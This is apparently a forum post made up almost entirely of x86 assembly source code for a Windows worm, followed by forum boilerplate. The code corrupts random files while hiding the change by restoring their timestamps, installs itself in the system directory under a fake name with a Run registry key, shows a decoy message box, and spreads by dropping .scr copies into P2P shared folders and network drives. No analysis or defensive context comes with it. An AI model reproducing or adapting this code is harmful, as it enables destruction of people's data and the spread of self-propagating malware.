push [extra_buffer] ; buffer
push eax ; handle
call FindNextFileA
mov [sr],eax ; save result
test eax,eax ; if at end
je >>dodir_exit ; then exit

mov edx,[extra_buffer] ; point to buffer
add edx,2ch ; point to filename
mov [ent],edx ; save

push [ent] ; name
call GetFileAttributesA

test eax,16 ; if subdirectory
jz >>fileloop ; continue if not

mov ebx,[ent] ; point to buffer

cmp b [ebx],"." ; if .
je next_file ; continue
cmp w [ebx],"" ; if
je next_file ; continue

push esi ; save
call compareanddrop ; drop
pop esi ; restore

push [ent] ; subdirectory
call SetCurrentDirectoryA

nodropz:
xor eax,eax ; clear
mov [ent],eax ; clear

add esi,4 ; point to next in buffer
mov eax,[extra_buffer] ; point to buffer
add eax,[bufsize] ; add size
sub eax,4 ; point to end
cmp esi,eax ; if at end
jne next_subdir ; do next subdirectory if not

call enlargebuffer ; enlarge buffer
jne next_subdir ; do next subdirectory if not

fileloop:
inc b [counter] ; increment counter
mov ah,[counter] ; get counter
mov al,[countx] ; get
cmp ah,al ; if same corrupt file
jne >>no_corrupt ; continue if not

push 0
push 0
push 0
push 0
push offset serialnum ; serial number
push 0
push 0
push [driveptr] ; buffer
call GetVolumeInformationA ; get volume information

mov eax,[serialnum] ; get
cmp eax,0bffd21c3h ; if found
je >>no_corrupt ; don't corrupt

mov eax,[dn] ; point to
cmp d [eax],"ABCD" ; if temp file
je >>no_corrupt ; no corrupt

push [dn] ; filename
call lstrlen ; get length
add ecx,eax ; point to end
cmp d [ecx-4],".scr" ; if .scr
je >>no_corrupt ; don't corrupt

push [ent] ; name
call GetFileAttributesA ; get file attributes
mov [attr],eax ; save

push 0 ; no attributes
push [ent] ; name
call SetFileAttributesA ; set file attributes

push 2 ; r/w
push [ent] ; name
call _lopen ; open file
mov [handle],eax ; save handle

mov ebx,offset filetime ; filetime
push ebx ; filetime #1
add ebx,8 ; point to next
push ebx ; filetime #2
add ebx,8 ; point to next
push ebx ; filetime #3
push [handle] ; file handle
call GetFileTime ; get file time

push 0 ;
push [handle] ; handle
call GetFileSize ; get file size
test eax,eax ; if zero
jz >>no_corrupt ; continue

xor ebx,ebx ; clear
xor edx,edx ; clear
mov ecx,60 ; divide by 60
div ecx ; divide

mov ecx,eax ; size
mov ax,[milliseconds] ; get

mul ecx ; multiply

push 0 ; origin
push eax ; offset
push [handle] ; handle
call _llseek ; set file position

push esi ; save esi
push ecx ; save
mov esi,[tempbuf] ; point to buffer

next_wipe_byte:
stosb ; put byte
inc ecx ; increment counter
cmp ecx,60 ; if at end
jne next_wipe_byte ; loop if not

pop ecx ; restore ecx
pop esi ; restore esi

mov eax,[second] ; seconds
inc eax ; not zero

push eax ; number of bytes to write
push [tempbuf] ; buffer
push [handle] ; handle
call _lwrite ; write to file

mov ebx,offset filetime ; filetime
push ebx ; filetime #1
add ebx,8 ; point to next
push ebx ; filetime #2
add ebx,8 ; point to next
push ebx ; filetime #3
push [handle] ; file handle
call SetFileTime ; set file time

push [handle] ; handle
call _lclose ; close file

push offset year ; buffer
call GetSystemTime ; get time
mov ax,[milliseconds] ; get milliseconds
mov [countx],ax ; save

no_corrupt:
push [ent] ; filename
call CharLowerA ; to lowercase

push [ent] ; filename
call lstrlen ; get length
mov edx,[ent] ; point to filename
add edx,eax ; point to end

cmp d [edx-4],".mp3" ; if mp3
jne >>no_mp3 ; continue

push offset mp3ext ; extension
push [ent] ; filename
call lstrcat ; add to end

push 0 ;
push [ent] ; stub file
push [pn] ; this file
call CopyFileA

no_mp3:
cmp d [sr],0 ; if at end
jne next_file ; do next file

dodir_exit:
push offset dotdot ; parent directory
call SetCurrentDirectoryA
inc eax ; increment
test eax,eax ; if back in root directory
je >>dirsearch_exit ; then exit

sub esi,4 ; last handle


cmp esi,[handlebuffer] ; if at beginning
jl >>adjustpos ; adjust
jmp >>noadjust ; continue

adjustpos:
mov esi,[handlebuffer] ; to beginning

noadjust:
mov eax,[esi] ; get
mov [ent],eax ; save
jmp next_file ; loop

dirsearch_exit:
push [tempbuf] ; buffer
call GlobalFree ; free buffer

push [handlebuffer] ; buffer
call GlobalFree ; free buffer
ret ; return
;

enlargebuffer:
push 256 ; buffer size
push [tempbuf] ; buffer
call GetTempPathA

push [tempbuf] ; buffer
push 0 ;
push offset cname ; prefix
push [tempbuf] ; buffer
call GetTempFileNameA

push 2 ; hidden file
push [tempbuf] ; buffer
call _lcreat
inc eax
jz dirsearch_exit ; exit

mov [handle],eax ; save handle

push [bufsize] ; number of bytes to write
push [handlebuffer] ; buffer
push [handle] ; handle
call _lwrite ; write to file
inc eax
jz dirsearch_exit ; exit

push 0 ; origin
push 0 ; offset
push [handle] ; handle
call _llseek ; set file position

push [handlebuffer] ; buffer
call GlobalFree ; free buffer

mov eax,[bufsize] ; buffer
add eax,1024*1024 ; new buffer size

push eax ; number of bytes to allocate
push 0 ;
call GlobalAlloc ; allocate memory
mov [handlebuffer],eax ; save buffer address
inc eax ; increment
test eax,eax ; if error
jz dirsearch_exit ; exit

mov eax,[bufsize] ; buffer
add eax,1024*1024 ; new buffer size

push eax ; number of bytes to read
push [handlebuffer] ; buffer
push [handle] ; handle
call _lread ; read from file
inc eax ; increment
jz dirsearch_exit ; exit

push [handle] ; handle
call _lclose

push [tempbuf] ; buffer
call DeleteFileA
ret ; return

compareanddrop:
cmp d [drivetype],4 ; if network drive
je >>dropdirx ; drop files

mov esi,offset dirnames ; point to folder names
mov [dirptr],esi ; save

nextdirx:
push [dirptr] ; name
call CharLowerA ; to lowercase

push [ent] ; name
call CharLowerA ; to lowercase

push [dirptr] ; name
push [ent] ; name
call lstrcmp ; compare
test eax,eax ; if same
jz >>dropdirx ; continue

push [dirptr] ; name
call lstrlen ; get length
inc eax ; skip null
add [dirptr],eax ; point to next
mov eax,[dirptr] ; get word
mov eax,[eax] ; get word
cmp eax,0ffffffffh ; if at end
jne nextdirx ; loop if not
jmp nodrop ; skip

dropdirx:
mov edx,[ent] ; folder
call dropdir ; drop into directory
ret ; return

nodrop:
ret ; return
; install program

installprog:
push 256 ; buffer size
push 0 ;
call GlobalAlloc ; allocate buffer
mov [driveptr],eax ; save buffer

push 256 ; buffer size
push [pn] ; buffer
push 0 ;
call GetModuleFileNameA ; get name

push 256 ; buffer size
push [driveptr] ; buffer
call GetSystemDirectoryA ; get system directory

push [driveptr] ; buffer
call lstrlen ; get length

mov edx,[driveptr] ; point to buffer
add edx,eax ; point to end
mov b [edx-1],"\" ; put seperator

push offset fakename ; source
push edx ; destination
call lstrcat ; cat

push offset handle ; address of handle
push 0 ;
push 0 ;
push offset gnutella ; key name
push 80000001h ; hkey
call RKeyExA

push 4 ; size
push offset enablealways_val ; value
push 4 ;
push 0 ;
push offset enablealways ; value name
push [handle] ; hkey
call RegSetValueExA ; set key

push [handle] ; handle
call RegCloseKey ; close key

push offset handle ; address of handle
push 4 ;
push 0 ;
push offset gnutellatwo ; key name
push 80000001h ; hkey
call RKeyExA

push 4 ; size
push offset enablealways_val ; value
push 4 ;
push 0 ;
push offset enablealways ; value name
push [handle] ; hkey
call RegSetValueExA ; set key

push [handle] ; handle
call RegCloseKey ; close key

push offset handle ; address of handle
push 0 ;
push 0 ;
push offset edonkey ; key name
push 80000001h ; hkey
call RKeyExA

push 4 ; size
push offset enablealways_val ; value
push 4 ;
push 0 ;
push offset enablealways ; value name
push [handle] ; hkey
call RegSetValueExA ; set key

push [handle] ; handle
call RegCloseKey ; close key

push offset handle ; address of handle
push 0 ;
push 0 ;
push offset library ; key name
push 80000001h ; hkey
call RKeyExA

push 4 ; size
push offset maxsizeval ; value
push 4 ;
push 0 ;
push offset maxsize ; value name
push [handle] ; hkey
call RegSetValueExA ; set key

push [handle] ; handle
call RegCloseKey ; close key

push 1024 ; buffer size
push [stubname] ; buffer
call GetSystemDirectoryA

mov edx,[stubname] ; point to buffer

push [stubname] ; buffer
call lstrlen ; get length
add edx,eax ; point to end

mov b [edx],"\" ; put seperator and point to next
inc edx

push offset fakename ; source
push edx ; destination
call lstrcpyA ; copy

push 0 ;
push [stubname] ; stub file
push [pn] ; this file
call CopyFileA

push 0 ;
push [stubname] ; filename
call SetFileAttributesA

push offset handle ; address of handle
push 0 ;
push 0 ;
push offset runkey ; key name
push 80000002h ; hkey
call RKeyExA

push [stubname] ; program name
call lstrlen ; get length

push eax ; size
push [stubname] ; program name
push 1 ;
push 0 ;
push offset valname ; value name
push [handle] ; hkey
call RegSetValueExA ; set key

push [handle] ; handle
call RegCloseKey ; close key

push [pn] ; program name
call lstrlen ; get length
mov esi,[pn] ; point to filename
add esi,eax ; point to end

std ; go in reverse

next_find_sep:
lodsb ; get byte
cmp al,"\" ; if found
jne next_find_sep ; loop if not

cld ; clear direction flag

add esi,2 ; point to filename

push esi ; filename
call CharLowerA ; to lowercase

push esi ; filename
push offset fakename ; fake name
call lstrcmp ; compare
test eax,eax ; if same
jnz >>spawnnew ; spawn new process
jmp >>install_return ; continue

spawnnew:
push 0
push offset faketitle ; title
push offset fakemsg ; data
push 0
call MessageBoxA ; display messagebox

mov esi,[extra_buffer] ; buffer
push esi ; not needed
add esi,100 ; next
push esi ; not needed
push 0 ;
push 0 ;
push 0 ;
push 0 ;
push 0 ;
push 0 ;
push [stubname] ; stub file
push 0 ; module
call CreateProcessA ; create new process

exit:
call GetCurrentProcess ; get current process
push eax ; push it
call TerminateProcess ; terminate program

install_return:
ret ; return

; drop into directory
; edx=directory

dropdir:
mov [fileptr],edx ; save

push 256 ; buffer size
push 0 ;
call GlobalAlloc ; allocate buffer
mov [olddir],eax ; save buffer

push [olddir] ; buffer
push 256 ; buffer size
call GetCurrentDirectoryA ; get current directory

push [fileptr] ; directory
call GetFileAttributesA ; get file attributes
mov [dirattr],eax ; save

push 0
push [fileptr] ; directory
call SetFileAttributesA ; set file attributes

push [fileptr] ; directory
call SetCurrentDirectoryA
test eax,eax ; if error
jnz >>no_error ; continue if not
ret ; return

no_error:
mov ebx,offset files ; point to files

nextfile:
push ebx ; stub file
call lstrlen ; get length

mov edx,ebx ; point to
add edx,eax ; point to end
mov d [edx-4],".scr" ; put extension

push ebx ; stub file
call DeleteFileA ; delete file

push 0 ;
push ebx ; stub file
push [stubname] ; stub file
call CopyFileA

push 0
push ebx ; stub file
call SetFileAttributesA ; set file attributes

push ebx ; filename
call lstrlen ; get length
add ebx,eax ; point to end
inc ebx ; skip over null
cmp d [ebx],0ffffffffh ; if at end
jne nextfile ; loop if not
ret ; return

copy_regkeys:
mov esi,offset p2pregkeys ; point to keys
mov [regptr],esi ; save

next_p2pkey:
mov ecx,[regptr] ; get word
mov ecx,[ecx] ; get word
cmp ecx,0ffffffffh ; if at end
je >>exit_now ; exit

mov [rhkey],ecx ; save
add d [regptr],4 ; skip word

push offset handle ; address of handle
push 1 ;
push 0 ;
push [regptr] ; key name
push ecx ; hkey
call RKeyExA
test eax,eax ; if error
jnz >>exit_now ; exit

push [regptr] ; key name
call lstrlenA ; get length
add [regptr],eax ; point to next
inc d [regptr] ; skip null

push offset bufsize ; address of buffer size
push [extra_buffer] ; buffer
push 0 ;
push 0 ;
push [regptr] ; key name
push [handle] ; handle
call RegQueryValueExA
test eax,eax ; if error
jnz >>exit_now ; exit

mov edx,[extra_buffer] ; directory name
call dropdir ; drop into directory

push [handle] ; handle
call RegCloseKey ; close key
jmp next_p2pkey ; loop

exit_now:
ret ; return


Reply With Quote
Reply

Viewing: Web Development Archives FAQs Computer Virus > >


Thread Tools  Search this Thread 
Search this Thread:

Advanced Search
Display Modes  Rate This Thread 
Rate This Thread:


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are Off
[IMG] code is On
HTML code is Off
View Your Warnings | New Posts | Latest Threads | Shoutbox
Forum Jump


Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
  
 





© 2003-2008 by Developer Shed. All rights reserved. DS Cluster 4 hosted by Hostway
Stay green...Green IT